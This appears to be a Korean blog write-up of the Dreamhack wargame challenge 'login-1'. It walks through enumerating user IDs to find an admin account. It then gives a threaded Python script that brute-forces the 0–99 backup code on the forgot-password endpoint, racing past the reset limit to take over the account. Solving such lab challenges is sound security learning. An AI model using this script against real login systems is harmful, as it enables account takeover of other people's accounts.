본문 바로가기

드림핵

[드림핵 워게임] login-1

위의 문제를 아래와 같은 과정으로 풀어보았다.

 

 

1. 페이지 기능을 확인한다.

사이트에 접속하면 뜨는 첫 화면이다. 메뉴바 오른쪽 끝에 있는 Login을 클릭한다.

 

 

로그인 폼이 뜬다. 아래에는 register forgot password? 라고 써있는 하이퍼링크가 있다. register를 클릭한다.

 

 

계정을 등록할 수 있는 폼이 뜬다. userid=user, password=1, Name=user 로 하여 아무 계정을 하나 등록한다.

 

 

계정을 등록하면 성공적으로 등록되었다는 텍스트와 함께 백업코드가 출력된다.

 

 

등록한 계정으로 로그인한다.

 

 

로그인에 성공하면 Home으로 리다이텍트된다. 메뉴바에는 계정 정보가 뜬다. ID : user 를 클릭한다.

 

 

userID와 UserName, 그리고 UserLevel이 출력된다. 그리고 url를 보면 /user/17로 되어 있는 것을 확인할 수 있다.

userLevel = {
    0 : 'guest',
    1 : 'admin'
}

코드를 살펴보면 userLevel 0 은 guest 계정이다. 우리가 로그인해야할 계정은 admin 계정이므로 UserLevel이 1이어야 한다.

@app.route('/user/<int:useridx>')
def users(useridx):
    conn = get_db()
    cur = conn.cursor()
    user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone()
    
    if user:
        return render_template('user.html', user=user)

    return "<script>alert('User Not Found.');history.back(-1);</script>";

또 다른 부분의 코드를 보면 /user/<int:useridx>라는 엔드포인트를 찾을 수 있다. 이 부분의 코드를 살펴보면 앞서 살펴본 url의 /user/17에서 17이 사용자 인덱스인 것을 알 수 있다. 그리고 우리가 새로 생성한 계정의 인덱스가 17이므로 인덱스 1, 2, 3, ..., 15, 16도 있을 것이라고 짐작할 수 있다.

 

 

url을 /user/1로 바꾸어 접속해보았다. Apple이라는 계정에 대한 정보가 뜬다. UserLevel이 1인 것을 보니 admin계정임을 알 수 있다. 이제 목표는 Apple 계정으로 로그인하는 것이다.

 

 

 

2. 브루트 포스 공격으로 백업코드를 입력하여 Apple의 패스워드를 변경한다.

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'GET':
        return render_template('forgot.html')
    else:
        userid = request.form.get("userid")
        newpassword = request.form.get("newpassword")
        backupCode = request.form.get("backupCode", type=int)

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
        if user:
            # security for brute force Attack.
            time.sleep(1)

            if user['resetCount'] == MAXRESETCOUNT:
                return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
            
            if user['backupCode'] == backupCode:
                newbackupCode = makeBackupcode()
                updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
                cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
                msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"

            else:
                updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
                cur.execute(updateSQL, (str(user['idx'])))
                msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
            
            conn.commit()
            return render_template("index.html", msg=msg)

        return "<script>alert('User Not Found.');history.back(-1);</script>";

/forgot_password 엔드포인트의 코드이다. userid와 새로운 패스워드와 백업코드를 입력하면 계정의 비밀번호가 변경된다.

 

중간의 코드를 보면 time.sleep(1) 라고 되어있는 부분이 있다. 1초동안 프로세스를 멈추는 것이다. 프로세스가 멈춰있는 사이에 익스플로잇 코드를 실행하여 자원 이용 권한을 탈취함으로써 브루트 포스 공격을 끼워넣을 수 있을 것이다.

 

 

def makeBackupcode():
    return random.randrange(100)

패스워드를 변경할 때 백업코드를 입력해야 하는데 코드를 살펴보면 백업코드는 100까지의 랜덤 숫자이다. Apple 계정의 백업코드가 무엇인지는 알 수 없지만, 1~100까지의 숫자를 브루트 포스 공격하면 그중 하나가 성공적으로 처리되어 패스워드가 변경될 것이다.

 

 

import requests
import threading

url = 'http://host3.dreamhack.games:*****/forgot_password'

for i in range(1, 101):
    params = {'userid':'Apple', 'newpassword':'Apple2', 'backupCode':i}
    print(params)
    th = threading.Thread(target=requests.post, args=(url, params))
    th.start()

익스플로잇 코드이다.

사이트의 /forgot_password 페이지의 url를 가져오고, 우리가 변경하려는 계정 Apple의 id, 새로운 비밀번호 Apple2, 1~100 범위에 해당하는 백업코드 i를 파라미터로 설정한다.

그리고 threading 모듈(thread는 프로세스의 실행 단위를 의미한다.)을 이용하여 post 요청으로 url과 파라미터를 전달하는 스레드를 실행한다.

 

 

익스플로잇 코드를 실행한다. 이제 패스워드가 변경되었다.

 

 

 

3. 로그인하여 flag를 획득한다.

다시 사이트로 돌아가서 userid=Apple, password=Apple2 로 하여 로그인한다.

 

 

메뉴바에 있는 admin을 클릭한다.

 

 

flag가 뜨는 것을 확인할 수 있다.

'드림핵' 카테고리의 다른 글

[드림핵 워게임] blind sql injection advanced  (0) 2022.11.19
[드림핵 워게임] funjs  (0) 2022.11.18
[드림핵 워게임] session  (0) 2022.11.11
[드림핵 워게임] simple-ssti  (0) 2022.11.11
[드림핵 워게임] php-1  (0) 2022.11.11